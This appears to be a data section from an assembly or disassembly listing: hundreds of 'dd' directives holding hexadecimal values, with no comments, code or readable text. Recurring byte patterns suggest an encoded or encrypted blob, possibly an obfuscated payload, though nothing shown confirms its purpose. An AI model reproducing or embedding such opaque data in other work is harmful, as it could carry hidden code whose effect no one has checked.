dd 0D6C84BA0h, 977D224Bh, 0AD537C07h, 8552C1F6h, 3DA0BC0Eh
dd 63FFE683h, 5F165B0Ah, 6EA785F4h, 5F168130h, 0F4AA67BCh
dd 2C72A14Eh, 0E052C17Dh, 0FFE6837Dh, 8D11FF54h, 7C33D902h
dd 83326CA7h, 0F0AE67BCh, 0A7550C4Ah, 0C181306Eh, 0B1EDE052h
dd 7A852C32h, 2B19D31Bh, 81306EA7h, 92BC5F16h, 36E810A5h
dd 37E48A5Eh, 0C111C0DEh, 326CA752h, 7A52C183h, 607CBC1Bh
dd 0FFE682FDh, 0DB3398EAh, 1556B702h, 0DB9516BCh, 306EA7EDh
dd 9BC74BA0h, 33BE2777h, 8364C7E3h, 3992FFE6h, 0BC732AD0h
dd 1CFBD992h, 0FB8B0737h, 0E7007CDFh, 0AB51AAFFh, 6EA7B66Dh
dd 71C18130h, 3A9F51Ch, 0E92BC4Ch, 0A01C5181h, 429AFF5Fh
dd 6BD49080h, 0B75E51C5h, 0BA162C32h, 4A19D35Bh, 0EC79D420h
dd 0C5EE7925h, 73EE5B4Bh, 4E77029Ch, 0A7883FE5h, 0BC81306Eh
dd 4DF3AB67h, 2D85580Fh, 0DC6737D8h, 98019D77h, 52C13BF2h
dd 0A2326CA7h, 50DBC34Dh, 16CA8127h, 0AE67BC5Fh, 7BEA4AF0h
dd 0E6837DE0h, 12FF54FFh, 74DDC150h, 631AC0E9h, 19D31B7Ah
dd 0BCF89F2Bh, 6AF5A967h, 27EE9B41h, 52C1C877h, 0E6837DE0h
dd 5BBA35FFh, 204A19D3h, 972650E3h, 8E45EB84h, 0A0306EA7h
dd 82E14460h, 0B60FFFE6h, 0F79D0111h, 0A75F1640h, 7D21F46Eh
dd 1C828DF2h, 0C19B4AB3h, 0BC0E8552h, 0E6833DA0h, 7A0A63FFh
dd 28B3EB25h, 743C4EEh, 47B0435Ch, 493406CDh, 0AE544800h
dd 0B352C1F7h, 2B19D344h, 81306EA7h, 0F5A967BCh, 855A114Fh
dd 0A752C10Eh, 0C181306Eh, 0BC44B352h, 68F3AB67h, 5E18993Fh
dd 0C9D53A8Fh, 6FD2EE3Eh, 95FFE683h, 762DD33Ch, 6A316DA7h
dd 0AA67BCF3h, 9A4069F4h, 8383E602h, 58B1FFE6h, 0A967BCA9h
dd 9B416AF5h, 6EA7A65Dh, 71C18130h, 0AB69F91Ch, 0D6FF8AF3h
dd 0D36D905Ch, 0AF557001h, 0BC0E85F8h, 82FD607Ch, 0CA23FFE6h
dd 0C4C8C24h, 0E6838DF0h, 0B55AB3FFh, 25993F5Fh, 0FFE683C2h
dd 0BCE897F0h, 84A44192h, 56D00D7Ch, 0C9F2E0AFh, 0E4771D3Dh
dd 0BC44B375h, 4EF4AA67h, 0EF4413CDh, 1DD47A24h, 0FD607CBCh
dd 23FFE682h, 38ADF5B9h, 258E533Ah, 5B43D27Fh, 297E16ACh
dd 0FF28B3EBh, 179FA259h, 77FEFEDh, 531C9608h, 4A01A79Ch
dd 0EE0A6DA7h, 0FFE6838Bh, 48F760B9h, 0E8552C1h, 833DA0BCh
dd 0A63FFE6h, 0CE51507Ah, 0DE2C8A94h, 5F168138h, 0E6DCC5E0h
dd 69A76DFFh, 0C450A535h, 0AC264FDAh, 5EE78ABh, 0FCB359D2h
dd 0E8552C1h, 203C7CBCh, 0FFE683BDh, 70E48AE3h, 0FFE6830Dh
dd 162BDA33h, 336BA75Fh, 0F452C184h, 0AD67BC85h, 973D66F1h
dd 0E67628EAh, 7A207E91h, 0A75F16C3h, 0C184336Bh, 50854771h
dd 94827CC8h, 14BA237Bh, 837DE05Dh, 0A735FFE6h, 45AA3569h
dd 0F749D4CAh, 9A6C14CEh, 920C055Ah, 19D335ECh, 801EF54Ah
dd 6BA723DAh, 3E5A1DF7h, 0FFE683DBh, 0DE47B009h, 0A75F162Fh
dd 63A3336Bh, 83A40723h, 79D2FFE6h, 0E683AA0Dh, 0D97FD8FFh
dd 0BC52C122h, 76FC492h, 2457C914h, 91FE780Fh, 3955E53Bh
dd 0FFE735D6h, 89FDA3FCh, 0FFE73526h, 3EA1BDFDh, 15FFE735h
dd 0E73596F9h, 2263BCFFh, 0BA6C23C9h, 4A19D35Bh, 838BEE0Ah
dd 60B9FFE6h, 9F4559BBh, 336BA7E8h, 607CBC84h, 0FFE682FDh
dd 19858E23h, 82FC658Eh, 94965A53h, 442E80Dh, 0A5F9176Ch
dd 477F11Ah, 8DCE47D2h, 85C57C22h, 7C98ED2Dh, 8353B622h
dd 2881FFE6h, 7CBCCB82h, 0E682FD60h, 24CA23FFh, 6BA72291h
dd 67BC8433h, 416AF5A9h, 0BC99089Bh, 0E6833DA0h, 430A63FFh
dd 2A3EC1EBh, 0E9AE9581h, 7CBC8C43h, 0BA3A7752h, 4858A015h
dd 3EF88B67h, 0C93DE34Ch, 0FFE7386Ah, 16903F98h, 0F76BA75Fh
dd 6A19821Ch, 0F89F5F16h, 83326CA7h, 0E8552C1h, 833DA0BCh
dd 0A63FFE6h, 158507Ah, 0F583DD9Bh, 7319821Ch, 607CBCBCh
dd 0FFE682FDh, 1E3ACA23h, 0FFE683BBh, 0ACEA90E9h, 8585F4F5h
dd 0A752C10Eh, 78A2326Ch, 43B48E71h, 3AF197B2h, 0A4F45F16h
dd 102FCD7Ah, 0F89E5F4Ah, 837DE041h, 0FF54FFE6h, 0DBC35210h
dd 33BE2750h, 0F39A900Ah, 0B90B65DDh, 1B7A5C13h, 0F1AD67BCh
dd 16973D66h, 179F6E5Ch, 8358BBD7h, 257EFFE6h, 6CA7C87Fh
dd 52C18332h, 0E6837DE0h, 1B7A35FFh, 0A4A19D3h, 0E6838BEEh
dd 0D060B9FFh, 0E68351B4h, 80267FFFh, 326CA7C9h, 0A75F1683h
dd 0BC83326Ch, 4DF3AB67h, 7DE04BBAh, 35FFE683h, 0A5306EA7h
dd 3EC9D540h, 0E5C983ACh, 0BAE36E30h, 0D360BF51h, 6CA72B19h
dd 8B0F7321h, 0BD9E1886h, 0F9A811BCh, 6CA75F16h, 0C44DA232h
dd 80264FDAh, 0A752C1C9h, 0F46B326Ch, 0FD607CBCh, 23FFE682h
dd 708C24CAh, 0FFE6830Dh, 0C12BDA33h, 0BC44B352h, 4CF2AC67h
dd 0A72311CBh, 1683326Ch, 0ED2D855Fh, 0E6836ED1h, 0BCE230FFh
dd 7529E67Bh, 0DE58C1EAh, 4CAB7B68h, 43FAA042h, 6A7792BCh
dd 0E2798EBAh, 0A73AA93Ch, 8CEF0B6Ch, 0BAFFE683h, 0BC49F861h
dd 4AF0AE67h, 6CA748B7h, 0CD42A732h, 0F92A46D1h, 8FFE973Fh
dd 852B19D3h, 607CBC0Eh, 0FFE682FDh, 4854B923h, 0A62E5297h
dd 0BFFF973Dh, 68F3AB6Ah, 0C225993Fh, 0F0FFE727h, 5F16E897h
dd 0E10692BCh, 4BB2F749h, 0AC3C9FBBh, 116AFFE6h, 4955BE6Bh
dd 8552C19Ah, 3DA0BC0Eh, 63FFE683h, 52C15B0Ah, 72363B3h
dd 0FFE683A4h, 83046783h, 0D932FFE6h, 0E2993F98h, 0FD607CBCh
dd 23FFE682h, 0BB1E3ACAh, 0E9FFE683h, 0AF69EA90h, 0F392BCC1h
dd 72003679h, 1201AE54h, 54DFBF50h, 0BC13C22Bh, 0EA0EA792h
dd 744AB007h, 8F4EC84Eh, 0FF3DE38Dh, 0AA67BC48h, 9B4069F4h
dd 0CF842A74h, 3668A728h, 8552C187h, 3DA0BC0Eh, 14FFE683h
dd 8355B8D4h, 227BFFE6h, 2BDA337Ch, 4FB45F16h, 0F1A8DEC0h
dd 828E96F3h, 0BC04B31Ch, 0E0AD0EA0h, 0AB3B9407h, 58E3BB56h
dd 0BCD2892Fh, 82FD607Ch, 52BFFFE6h, 6F8B0B4Ch, 0FFE6830Ch
dd 0D278E13Ah, 0E85D03Fh, 0CDE052C1h, 6563DFA9h, 19D344B3h
dd 0BC0E852Bh, 0BD203C7Ch, 0E3FFE683h, 0D70E48Ah, 33FFE683h
dd 20F54ADAh, 24CAF37Eh, 855F166Dh, 623CD82Dh, 71C105BCh
dd 0A1D70731h, 4B96F71Ah, 0E6907CDFh, 0AB51AAFFh, 3569A7F4h
dd 0A75F1686h, 0C185346Ah, 0A785F452h, 4B17F86Ah, 244DD8C6h
dd 16A352BBh, 0B3EB297Eh, 0A259FF28h, 0A3336BA7h, 34DAC44Eh
dd 0A752C17Dh, 0BC85346Ah, 82FD607Ch, 8E23FFE6h, 0FB41D81h
dd 0E60F9A04h, 0E03EAD40h, 4539EF8Fh, 13091C46h, 8A52364Ch
dd 92BC2DE4h, 0A160301Dh, 0A24FF580h, 89EC086Fh, 0B7FFE77Ah
dd 4757B95Eh, 7B2A93BCh, 92BC5F16h, 0DA782835h, 0DB882E4Eh
dd 0C1B96836h, 0EF8BE052h, 0F54A4539h, 0CBF47F1Fh, 44B36E25h
dd 0A72B19D3h, 1685346Ah, 346AA75Fh, 0A752C185h, 4EA3336Bh
dd 0E94ED9C5h, 0C0E9742Ah, 16FAB157h, 346AA75Fh, 3E7E1685h
dd 0E683BF22h, 0E68CE5FFh, 0AA67BC2Fh, 70A14EF4h, 52C17F2Eh
dd 84336BA7h, 1B7A52C1h, 0A4A19D3h, 834BAECAh, 2079FFE6h
dd 0E68351B4h, 80267FFFh, 0D492BCC9h, 770117D3h, 0F02AF55h
dd 0A1D5FF8Fh, 8732E42Ah, 1629E086h, 0F76BA75Fh, 6918811Dh
dd 6DA75F16h, 52C18231h
dd 0E6837DE0h, 16FF54FFh, 6CD5C94Ch, 5B12B8E1h, 0A1316DA7h
dd 4ED9C54Ch, 16C87F25h, 346AA75Fh, 0A752C185h, 0C182316Dh
dd 3569A752h, 0D3CB45AAh, 79DCF848h, 0A7FFE683h, 0CF89CA4Eh
dd 0BCF65527h, 82FD607Ch, 0CA23FFE6h, 1AE9A324h, 0F45AB1F0h
dd 213D3510h, 0FFE72EBEh, 7C228BE4h, 346AA7C5h, 855F1685h
dd 0A752C10Eh, 4CA1316Dh, 224BD6C8h, 5F16C57Ch, 0C54FA4F4h
dd 0BC7C33D9h, 65F0AE67h, 0BF22963Ch, 77FFE683h, 19D31B7Ah
dd 85F89F2Bh, 0AC67BC0Eh, 69B94CF2h, 17A2FC14h, 0A79148EEh
dd 0C185346Ah, 0D82D8552h, 0B5E9273Bh, 0F398012Ah, 1FD67C22h
dd 8341A0BCh, 0BB10FFE6h, 91BA4559h, 9A49A2EBh, 143E7E16h
dd 911234CFh, 1679E528h, 3CFFE722h, 99B056D2h, 0D23B96E7h
dd 6AA7752Ch, 0C77AA434h, 0C1F50A99h, 94BECF49h, 0F979A501h
dd 5F169C53h, 4DC2179Fh, 0A7F4AB51h, 0C1863569h, 4C92BC52h
dd 89928F7Fh, 0AC3767AAh, 741A83h, 63DFA9EDh, 0D344B385h
dd 69A72B19h, 5F168635h, 0FD607CBCh, 23FFE682h, 901B838Eh
dd 0E458FE67h, 0FFE6D82Ch, 346AA7ACh, 0AD67BC85h, 68B84BF1h
dd 239D0113h, 0B6DA3D97h, 0AD640A61h, 0A0BC0E85h, 0FFE6833Dh
dd 5D41CE63h, 0B04A9D2h, 167B2A93h, 0BCCCE05Fh, 618B3F63h
dd 49408DFDh, 40F79DA3h, 1DF86AA7h, 0BC691881h, 69F4AA67h
dd 0A55C9A40h, 0FD607CBCh, 23FFE682h, 9A7724CAh, 52C15504h
dd 0C923237Bh, 32E81F49h, 6664122Bh, 19D309C0h, 346AA72Bh
dd 547E1685h, 7F65BF22h, 762DD3FDh, 0F0AE67BCh, 2A749D4Ah
dd 0A867BC7Bh, 4EBD50F6h, 0CBF710E0h, 51C8A857h, 0FD607CBCh
dd 23FFE682h, 0E9A324CAh, 0AC67BCFBh, 0D69D78F2h, 682014E0h
dd 0A2FC15C2h, 0A75F16F3h, 66BC236Ah, 21CF09FFh, 0FC25B0EEh
dd 0C17B2A93h, 0A7F71C71h, 0A279F31Ch, 8BBE532h, 0E0B2690Fh
dd 166AA4EAh, 507ABA8Ah, 0B0662C23h, 0A75E0451h, 0EE277CBCh
dd 90FC25B0h, 0FFE6832Dh, 0D354FA53h, 3D204A19h, 5F4E805Fh
dd 6AF5A966h, 7B32D841h, 0CEA967BCh, 0E6834FB2h, 0B31C75FFh
dd 0EDB1600Dh, 5F92BC3Eh, 49A7726h, 5D32098Ah, 8CE179B7h
dd 0BB721886h, 0FD607CBCh, 23FFE682h, 0D45D91B9h, 63CCA278h
dd 620010BDh, 0D988F1ADh, 6AA752C1h, 1578D223h, 0B72061CCh
dd 0C852C108h, 2B19D351h, 0A53569A7h, 9A45577Bh, 3DD7CABFh
dd 44ADD661h, 5F16E79Eh, 71C10E85h, 1DA8F61Ch, 834EB1CDh
dd 1B74FFE6h, 0A7550CB2h, 0AEAC236Ah, 7D7729EFh, 5F166514h
dd 7DE085F4h, 54FFE683h, 8395F814h, 62BBFFE6h, 5BBA05BCh
dd 9F2B19D3h, 0F56DA7F8h, 0D2CC441Eh, 2AB51E47h, 0F2DCCF0h
dd 0D63F65EBh, 52C1BE6Dh, 0A0BC0E85h, 0FFE6833Dh, 0BC5B0A63h
dd 82FD607Ch, 0CA23FFE6h, 0F42FE624h, 316DA785h, 297E1682h
dd 12AB5E9h, 67BCA45Bh, 426BF6A8h, 7925EF9Ch, 0E052C1CAh
dd 0FFE6837Dh, 103A7A35h, 7EE84ABh, 0FEB55B10h, 0A4A19D3h
dd 0E6838BEEh, 0BA60B9FFh, 316DA703h, 0A75F1682h, 4CA1316Dh
dd 224BD6C8h, 71C1C57Ch, 0A2F25F47h, 842AEAD6h, 837DE0CDh
dd 0A735FFE6h, 841AF76Bh, 0DC67D0F9h, 76019D77h, 9941FB24h
dd 0F24787C7h, 0CAF37E20h, 0E682FB5Eh, 5BBEDAFFh, 89FFE683h
dd 0F096EF30h, 4A19D339h, 0F6811DF5h, 0BC7027CDh, 85014292h
dd 7C22DACEh, 0C95945CFh, 0F64AB39Fh, 66AA7792h, 7229CF38h
dd 6EA75F16h, 0B57CA530h, 0A752C13Eh, 821CF56Dh, 0E16C32DDh
dd 6ABF4FB8h, 415DB8AAh, 7E244DD8h, 1C71C1C7h, 46783F4h
dd 32FFE683h, 13CA70D9h, 0A0BC0E85h, 0FFE68341h, 60C3DF5Fh
dd 86FFE683h, 0BC15C42Dh, 8BC74892h, 943AB1E6h, 6DA79F56h
dd 7E168231h, 0CB598854h, 48EEE29Ah, 32D8591h, 0BD3B36F8h
dd 0B46B11AFh, 0F13171C1h, 0E68372D5h, 0DB47A0FFh, 0FFE68378h
dd 0E89F459Eh, 69A7F89Fh, 4E690B24h, 931997D6h, 5F81D6EDh
dd 54036CD5h, 0F31C71C1h, 51F720ABh, 607CBC9Ah, 0FFE682FDh
dd 8355B8D4h, 227BFFE6h, 6EE288E1h, 0FFE6830Ch, 0D330E7CCh
dd 4C842B19h, 0EA387481h, 32Dh, 346AA77Bh, 3C7CBC85h, 0E683BD20h
dd 1E8AE3FFh, 0FFE683BBh, 57EA90E9h, 3668A7E8h, 0E052C187h
dd 0FFE6837Ch, 0AD67BC3Ch, 973D66F1h, 0CA7925EAh, 92BC5F16h
dd 0F69A9257h, 0F7A44AD7h, 0D3CB4A18h, 52C1BB6Ah, 0FD607CBCh
dd 23FFE682h, 9A7724CAh, 5F165504h, 0CAAD67BCh, 0E6834BAEh
dd 0B72079FFh, 0F3AB6411h, 0A75F1644h, 33CD1F6Eh, 0B6576210h
dd 52C19E4Dh, 69C8B5E0h, 92BC3D5Ch, 59C3B380h, 76A869Eh
dd 2DFFE697h, 0BFDB6BD4h, 0FFE6975Ch, 0DE8B318Ah, 16B86737h
dd 7D92BC5Fh, 207E9500h, 56F26C95h, 5704AA1Dh, 0C131E0BEh
dd 0AD67BC52h, 0F0166F1h, 72DB048Fh, 82F258CCh, 0A7B2FFE6h
dd 44A9346Ah, 2A8DA9CEh, 58FFE683h, 790B96FFh, 90EE9650h
dd 2B19D329h, 0F1AD67BCh, 27779E4Bh, 607CBC78h, 0FFE682FDh
dd 0E624CA23h, 96EA72Fh, 0E6838AEDh, 0F65FB8FFh, 0E052C147h
dd 11325D4Bh, 4BAECA0Ah, 7911325Ch, 0E6AA620h, 0A8E354ADh
dd 3A7A4B02h, 0CC722CE5h, 2B19D315h, 0E1AC67BCh, 1423E4E0h
dd 74FF68A2h, 0D63A933Ah, 81EAFF96h, 0B7E72EDBh, 0AC67BC08h
dd 570E4CF2h, 0F5A967BCh, 0EE9B416Ah, 0ACEC7C22h, 0E6832D90h
dd 0B7D353FFh, 0FFE68354h, 1AC02982h, 0BC52C163h, 82FD607Ch
dd 0CA23FFE6h, 0A1A2B024h, 0A7D2548Fh, 44A9346Ah, 0F747D2CCh
dd 0E68378DBh, 73459EFFh, 0B7D7904Ah, 3659FA05h, 53B244ADh
dd 0F1AD67BCh, 7D983D66h, 0C76D9621h, 0BC9E8C46h, 4EF4AA67h
dd 9F2F6FA1h, 2ED4CA4Ah, 0A75F1677h, 0C1863569h, 306EA752h
dd 1C71C181h, 0A05AAF4h, 3AE00994h, 0D35BBA83h, 69A72B19h
dd 5F168635h, 0F20E69A7h, 0FFE6838Fh, 0B61935B5h, 0DCFFE683h
dd 9F751A83h, 0E24B74FFh, 0E052C133h, 548FA1D2h, 0D31B7A62h
dd 69A72B19h, 5F168635h, 81306EA7h, 69A75F16h, 7CBC8635h
dd 0E682FD60h, 818E23FFh, 69921Dh, 0E058C75Ah, 7396BDBAh
dd 507ABA7Ah, 0A369DF26h, 9A51F744h, 0A72B19D3h, 50A53569h
dd 2750DBC3h, 5F16CA81h, 0BB1892BCh, 0A2C34E5Bh, 0DDC14FFCh
dd 0AB67BC2Eh, 4BBA4DF3h, 3A7792BCh, 70131CBAh, 4F3356CAh
dd 7AF323A0h, 4C2BE53Ah, 0E683CD30h, 319AF3FFh, 20D77DA6h
dd 0A72B19D3h, 16863569h, 3569A75Fh, 0A752C186h, 0C185346Ah
dd 326CA752h, 0D0CE42A7h, 3EF82945h, 0D365C496h, 69A72B19h
dd 5F168635h, 863569A7h, 0DC3171C1h, 9BFE6A34h, 0C9FFE683h
dd 0E013CA70h, 239FC6BDh, 306EA775h, 0CAD440A5h, 0CA84AD3Fh
dd 0D3319022h, 69A72B19h, 5F168635h, 863569A7h, 0BAE052C1h
dd 7A7396BDh, 2BE53A7Ah, 0EAEE873h, 57CA51C1h, 580FB51Eh
dd 0A72B19D3h, 50A53569h, 7E35DBC3h, 223E7E16h, 0FFE683BFh
dd 2FE68CE5h, 863569A7h, 67BC52C1h, 4FB2CEA9h, 75FFE683h
dd 0FF28B31Ch, 0A28BE559h, 7A496DB5h, 2B19D31Bh, 863569A7h
dd 67BC5F16h, 4069F4AAh, 7A24ED9Ah, 6D5F16CBh, 0D15h, 3569A706h
dd 0E052C186h, 0FFE68384h, 254FE734h, 0B06EBC3h, 58BA5F9Eh
dd 0D3E9A046h, 4C842B19h, 33387481h, 0E06B33DEh, 233011B7h
dd 0C1000006h, 0F4AA67BCh, 33D9C54Fh, 7DE064D3h, 54FFE683h
dd 18C12FFh, 0BA7B32D8h, 0A867BC5Bh, 15CF50F6h, 0A7F89F27h
dd 0BC84336Bh, 4AF0AE67h, 0E8548B7h, 0BAA867BCh, 55E04955h
dd 1D809C2Ch, 43FFE683h, 90AC44EAh, 0FFE6832Dh, 164BFA53h
dd 0A867BC5Fh, 9C426BF6h, 7DE0CD3Ch, 35FFE683h, 19D35BBAh
dd 0AD67BC2Bh, 973D66F1h, 6AA73BE2h, 52C18534h, 67BC0E85h
dd 0DCB5E2ABh, 0BD3669F8h, 0FAA0C954h, 2EE34662h, 0B811FFE7h
dd 0E05F1609h, 22E2B317h, 5F92BC9Fh, 6987752h, 15D8527Bh
dd 16C369D7h, 16F4A3FBh, 0F86AA75Fh, 0D1FA8519h, 4FB8E62Ch
dd 8552C1A0h, 0E052C10Eh, 2690D788h, 0D344B330h, 0E852B19h
dd 833DA0BCh, 0A63FFE6h, 0A967BC5Bh, 9C416AF5h, 769F2A74h
dd 0A7DB92D0h, 4EA3336Bh, 2952DDC1h, 7E16CC83h, 28B3EB29h
dd 0A7A259FFh, 690D226Bh, 57BE0350h, 71C13FEEh, 3A9F51Ch
dd 0D788E04Ch, 0B3302690h, 5FFF3963h, 0FE1DBB42h, 620828C5h
dd 0A74DB6D4h, 3B92BCF0h, 76807E2Eh, 0F3AD2ED4h, 336BA705h
dd 0A75F1684h, 1685346Ah, 336BA75Fh, 0DDC14EA3h, 0CC832952h
dd 0FD607CBCh, 0D4FFE682h, 0E68355B8h, 0E1227BFFh, 0E04FE288h
dd 519588E0h, 6EA7306Ah, 0D240A530h, 0AFE841CCh, 5CBB4DF5h
dd 0F5A967BCh, 1A9B416Ah, 6BA77260h, 5F168433h, 0FD607CBCh
dd 23FFE682h, 9E7724CAh, 0FA1B7000h, 4AF019A4h, 0A752C193h
dd 0C184336Bh, 0FEB0E052h, 0A7487DC3h, 1684336Bh, 336BA75Fh
dd 0D7C74EA3h, 71C17A31h, 5AAF41Ch, 31E88E10h, 81306EA7h
dd 143E7E16h, 5C1B11D8h, 0E144B0F3h, 0FFFE6EBh, 0B4513CB6h
dd 0DCA48894h, 6BA77F36h, 0EDADAA22h, 7EE7F493h, 0A75F16CFh
dd 0C184336Bh, 306EA752h, 0B352C181h, 2B19D344h, 84336BA7h
dd 6EA75F16h, 5F168130h, 84336BA7h, 7CE052C1h, 5BC5366Fh
dd 0BD570B06h, 1BD278E1h, 40E63B3h, 7FD50F9Ah, 0BACEC2EFh
dd 5C13B922h, 204A19D3h, 0D9FA54B7h, 89882D0Eh, 0BB618A15h
dd 336BA704h, 0AC67BC84h, 834CAFCBh, 217AFFE6h, 5E042DB8h
dd 67BC6920h, 9E4BF1ADh, 0C17D2C72h, 0A967BC52h, 70A24FF5h
dd 52C17F2Eh, 19D31B7Ah, 2469A72Bh, 0C0C2387Fh, 1BAB143Bh
dd 0C7524CC6h, 1641F89Eh, 0F76BA75Fh, 6C1B841Ah, 6CA75F16h
dd 4662A232h, 0FFE682E3h, 12759111h, 40FFE683h, 21D87EE7h
dd 30E052C1h, 0C80B759Dh, 19F66CA7h, 68D1FA85h, 607CBCB9h
dd 0FFE682FDh, 2487A323h, 52FFE683h, 0ACEA90F9h, 326CA7F5h
dd 0DCC24DA2h, 71C17F36h, 20ABF31Ch, 0DDE99AE6h, 92FBB0A7h
dd 85374218h, 14BAF966h, 0BC167D5Dh, 4FF5A967h, 6BA75A11h
dd 71C18433h, 34FE0731h, 73171F41h, 0E710A407h, 0D379D2FFh
dd 0B8E9E01Ch, 0A7891404h, 1684336Bh, 0AC67BC5Fh, 0AE3E67F2h
dd 0E6832F92h, 56FC55FFh, 863569A9h, 0F51C71C1h, 0A4C03A9h
dd 2B19D36Bh, 0F3AB67BCh, 0BC580F4Dh, 82FD607Ch, 0CA23FFE6h
dd 83BB1E3Ah, 90E9FFE6h, 0C9D53DEAh, 0F092BC1Ah, 0CDBB33BEh
dd 67D6690Fh, 0EEE892BCh, 5201FE2Bh, 0F755B4D8h, 0F69C6648h
dd 19D30DACh, 5292BC2Bh, 8C0C9555h, 0C57CBA60h, 0E2AB67BCh
dd 4A6FC32Ch, 0A5359EE5h, 0E6DE2689h, 4DF34CFFh, 9C2C72A0h
dd 7A613772h, 0F2986244h, 0E052C13Bh, 9640509Fh, 0D35BBA57h
dd 6BA72B19h, 0C34EA333h, 0AD2750DBh, 0EE323FEFh, 0E59C4269h
dd 7CBC5F16h, 0E682FD60h, 848E23FFh, 0FD668F1Ah, 3569AA57h
dd 0A752C186h, 0BC84336Bh, 68B42592h, 882EF0DAh, 51C886F5h
dd 0F54A19D3h, 26DD831Bh, 0F5A967BCh, 0EE9B416Ah, 16CA7925h
dd 0C6BA75Fh, 0D94559B7h, 0FFE68376h, 940A079Ch, 0E77E009h
dd 297E165Fh, 42DB8E6h, 6CA7A75Eh, 838CEF0Bh, 61BAFFE6h
dd 52C149F8h, 0FD607CBCh, 0D4FFE682h, 0E68355B8h, 0E1227BFFh
dd 0F36EE288h, 631971A7h, 0DEFA3A7Ah, 0FFE6837Bh, 0F3AA50A9h
dd 0F4AA67BCh, 199A4069h, 6CA7715Fh, 5F168332h, 67BC85F4h
dd 4FB2CEA9h, 75FFE683h, 0FF28B31Ch, 8382E559h, 0BA42FFE6h
dd 2B19D35Bh, 6CA7F89Fh, 52C18332h, 0A0BC0E85h, 0FFE6833Dh
dd 9307EA14h, 0AA42564Ah, 9940A05h, 5CF13AE0h, 0A2E2D9B4h
dd 67CA1325h, 0E14A73FEh, 0A967BC32h, 5A114FF5h, 67BC0E85h
dd 3F5FB5ADh, 97228BB4h, 5FC2DE6Eh, 85FFE683h, 84F3862Ch
dd 7E16167Dh, 1FEE143Eh, 0B3825F31h, 0E77AE447h, 13B912FFh
dd 0C10E855Ch, 607CBC52h, 0FFE682FDh, 7724CA23h, 1D72029Ch
dd 0F51EA9F5h, 5F16984Fh, 82316DA7h, 67BC52C1h, 0EB4BF1ADh
dd 0F56DA77Ch, 6C1B841Ah, 7CBC5F16h, 0E682FD60h, 41B923FFh
dd 0F7D18461h, 6916BC25h, 4DB0CCABh, 73FFE6F1h, 0C102B11Ah
dd 837DE052h, 7A35FFE6h, 600E103Ah, 3BB5E926h, 0E288D434h
dd 2B19D32Bh, 147192BCh, 95A341B4h, 0CCD242EFh, 297E161Dh
dd 0FF28B3EBh, 6DA7A259h, 52C18231h, 0E6837DE0h, 11FF54FFh
dd 7A30E78Dh, 2B19D31Bh, 1AF56DA7h, 166C1B84h, 32D855Fh
dd 8AA7CE64h, 8138DEABh, 614771C1h, 0F46A4E0h, 0A73DF49Ah
dd 0C182316Dh, 0DBB0D252h, 0D9534BC8h, 3C58542Bh, 0FFE74DD9h
dd 7E45AE07h, 41A0BC07h, 5FFFE683h, 0EE217606h, 56FC25B0h
dd 0BC5F169Fh, 4AF0AE67h, 7827779Dh, 92BC5F16h, 23BEE0h
dd 0A8C4545Bh, 0FFE75445h, 0B76C126Bh, 326CA710h, 0E052C183h
dd 8DB25B9Eh, 0D31B7A56h, 1CF54A19h, 8392F782h, 50DB21Bh
dd 0A73CF399h, 1683326Ch, 3569A75Fh, 0DBC350A5h, 52C17E35h
dd 0F4AA67BCh, 2C72A14Eh, 1C71C17Dh, 4900A6F8h, 7CBC5BBAh
dd 0E682FD60h, 24CA23FFh, 0A7FBE9A3h, 50A53569h, 7D34DAC4h
dd 6CA75F16h, 5F168332h, 6C46Dh, 85F40600h, 0E6837DE0h
dd 6CA735FFh, 0F7821CF6h, 75DA65CEh, 0E779049Ah, 9E4B04BEh
dd 0E0CAE1DCh, 0C423B51Eh, 0BC2B19D3h, 99595692h, 6D12F3BEh
dd 0A156FCA2h, 0F969A7FAh, 6F9C721Bh, 0C59071DFh, 0C144F35Ch
dd 99F41C71h, 0F0A49561h, 35DB4477h, 0BC0E857Eh, 0E6833DA0h
dd 5B0A63FFh, 85F45F16h, 863569A7h, 69A75F16h, 52C18635h
dd 0E6837DE0h, 1B7A35FFh, 0A72B19D3h, 77C22469h, 0BD2B6905h
dd 7E16A554h, 11B6E829h, 0E60F9A04h, 69A78940h, 0A17BA535h
dd 0D345E4B7h, 4A6F1F99h, 7BB127B2h, 52C11ED5h, 0E6837DE0h
dd 5BBA35FFh, 0A72B19D3h, 16863569h, 9962E05Fh, 0A712FFE6h
dd 0C1863569h, 0A7F71C71h, 2D854A01h, 0BD633BD8h, 3DA0BC06h
dd 63FFE683h, 7E165B0Ah, 29B4EA29h, 0D2A35A00h, 0DCF373B0h
dd 0F26930FCh, 203C7CBCh, 0FFE683BDh, 0DEFA8AE3h, 0FFE6837Bh
dd 36AA50A9h, 0FFE683D3h, 0C1F9A801h, 3569A752h, 0A75F1686h
dd 878E336Bh, 0BCD95017h, 0E6833DA0h, 5B0A63FFh, 0E855F16h
dd 0F89F52C1h, 863569A7h, 68A752C1h, 0BB82AB36h, 0E492BC44h
dd 0BA0E2782h, 824BC62h, 0FFE6B3A5h, 0BCC372CBh, 67F2AC67h
dd 27900E02h, 0A78C4381h, 0C1873668h, 3569A752h, 0AA67BC86h
dd 0FD1969F4h, 0FFE6839Ah, 60066FC8h, 7CBC5ECDh, 0E682FD60h
dd 24CA23FFh, 3D8DFFB0h, 67BC776Ch, 4559B6ACh, 9D2891BAh
dd 5BC4DA38h, 960808B5h, 0AC67BCE7h, 983E67F2h, 69A7A35Ah
dd 71C18635h, 1AA5F91Ch, 0E0944BF1h, 6C3D8E2Bh, 2363B3CBh
dd 0E683A407h, 0D379D2FFh, 2B19D31Ch, 0F5A967BCh, 306EA24Fh
dd 0A75F1681h, 0C1863569h, 3668A752h, 0A75F1687h, 16863569h
dd 0B6E8297Eh, 0F79D0111h, 0AB67BC40h, 0DC4559B7h, 0E822851h
dd 0FFE6A799h, 326CA7D5h, 0E34662A2h, 11FFE682h, 0C15B12B8h
dd 0A9F51C71h, 984FF51Eh, 0A0BC0E85h, 0FFE6833Dh, 257A0A63h
dd 99859DF0h, 5B2507C8h
dd 983E67F2h, 0AA67BCE1h, 9A4069F4h, 6EA7A55Ch, 0E876A030h
dd 0E8F72B4Eh, 0C1EEA54Bh, 72073171h, 51B2B5DCh, 4B379A06h
dd 45DFFE7h, 0A7E0A75Eh, 6E73CDBDh, 0EAC5D244h, 0C0E9742Ah
dd 0D6B38246h, 6EA77930h, 5F168130h, 81306EA7h, 167D52C1h
dd 44547E16h, 0F2557145h, 20FFE73Dh, 0CDBC4DC7h, 0A7B36A10h
dd 0C181306Eh, 0CB92BC52h, 79DCF86Eh, 0A7FFE768h, 0C985D44Eh
